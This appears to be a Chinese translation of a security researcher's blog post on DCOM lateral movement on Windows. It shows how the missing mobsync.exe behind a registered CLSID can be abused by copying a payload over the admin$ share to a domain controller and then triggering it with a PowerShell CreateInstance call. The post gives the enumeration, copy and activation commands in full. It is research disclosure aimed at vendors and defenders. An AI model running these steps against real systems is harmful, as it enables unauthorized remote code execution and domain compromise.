这篇文章主要讨论的是DCOM横向渗透以及Payload执行方法,当目标系统的\target\admin$\system32\中不包含mobsync.exe时,本文所介绍的方法才可行。如果你能获取到目标系统的管理员权限(通过PowerShell),你将能做到如下所示的东西:
- dir\\target\system32\mobsync.exe //shouldnot exist
-copy evil.exe \\target\admin$\system32\mobsync.exe
-[activator]::CreateInstance([type]::GetTypeFromCLSID("C947D50F-378E-4FF6-8835-FCB50305244D","target"))
在这篇文章中,我们将介绍如何利用DCOM(分布式构件对象模型)来实现横向渗透并远程执行Payload。本文主要讨论的内容如下:
在此之前,关于DCOM横向渗透技术的内容讨论了已经有一年半载了,Matt Nelson (enigma0x3)此前也介绍过多种利用D/COM对象(例如MMC20、ShellWindows,ShellBrowserWindow、Excel和Outlook)实现的横向渗透技术。相应的,Philip Tsukerman (@PhilipTsukerman)也发现过一种有趣的WMI横向渗透技术,他的【 这篇文章】可以帮助大家更好地了解DCOM功能、横向渗透技术以及相应的缓解方案。在继续阅读本文之前,我强烈建议大家阅读一下这些资料。
几周之前,我打算对我的笔记本系统进行虚拟化分析,虽然转换过程非常痛苦,但最终还是在相关工具的帮助下成功了。但是考虑到安全问题,我需要确定原本的物理设备中是否还存有遗留数据,我手上没有什么标准可以遵循,而且我对数字取证方面有额不感兴趣。所以我打算研究一下注册表,然后我很快就找到了一个有趣的CLSID注册表路径,它引用了一份二进制文件,而这个文件很可能是笔记本上为某个程序提供实用功能或者诊断功能的一个程序:
通过DIR命令查询后,我们发现磁盘中并没有C:\WINDOWS\system32\IntelCpHDCPSvc.exe:
我的脑海里瞬间出现了下面三个想法:
通过搜索引擎得知,IntelCpHDCPSvc.exe跟英特尔的内容保护HDCP服务有关,但是最有意思的是,LocalServer32和InProcServer32这两个注册表键值指向的是本应该存在的二进制文件路径,而这些不存在的文件很可能会带来严重的安全风险。由于在真实的攻击中我们很少能够看到IntelCpHDCPSvc的身影,因此我想看看能否可以利用DCOM来做些什么。
首先,我们需要在DCOM应用中定位相应的二进制文件路径。这里我们可以利用下面的命令从Windows 2012中导出LocalServer32可执行程序和InProcServer32 DLL:
gwmiWin32_COMSetting -computername 127.0.0.1 | ft LocalServer32 -autosize |Out-String -width 4096 | out-file dcom_exes.txt
gwmiWin32_COMSetting -computername 127.0.0.1 | ft InProcServer32 -autosize |Out-String -width 4096 | out-file dcom_dlls.txt
我们得到了下列信息:
对数据进行拼接和过滤之后,我们可以使用下列命令查询这些文件:
$file= gc C:\Users\test\desktop\dcom_things.txt
foreach($binpath in $file) {
$binpath
cmd.exe /c dir $binpath > $null
}
查询结果如下:
%SystemRoot%\system32\mobsync.exe
FileNot Found
如下图所示,文件确实不存在:
实际上,mobsync是Microsoft同步中心和脱机文件功能中的一个进程,因此mobsync.exe又开始变得更加有趣了。
之前我在枚举AppID和CLSID方面没有做得很好,所以我重新查看了注册表并查找这些信息:
具体说来,在下个阶段中我们需要利用[C947D50F-378E-4FF6-8835-FCB50305244D]这个CLSID来创建DCOM对象实例。
首先我们需要满足以下条件:
首先是Payload,并确保目标系统中不包含mobsync.exe:
dir C:\evil.exe
dir \\acmedc\admin$\system32\mobsync.exe
非常好!由于mobsync.exe不存在,所以我们的Payload(evil.exe)就能够绕过主机保护机制了,然后将其拷贝到DC上:
copy C:\evil.exe \\acmedc\admin$\system32\mobsync.exe
dir \\acmedc\admin$\system32\mobsync.exe
由于我们的二进制文件无法识别DCOM,因此实例化操作将无法成功,但Payload还是可以成功触发的:
[activator]::CreateInstance([type]::GetTypeFromCLSID("C947D50F-378E-4FF6-8835-FCB50305244D","target"))
Windows10域成员:
Windows2012域控制器:
非常好,我们的“mobsync.exe”生成了恶意的“notepad.exe” Payload。
厂商:
网络防御端:
* 参考来源:bohops,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM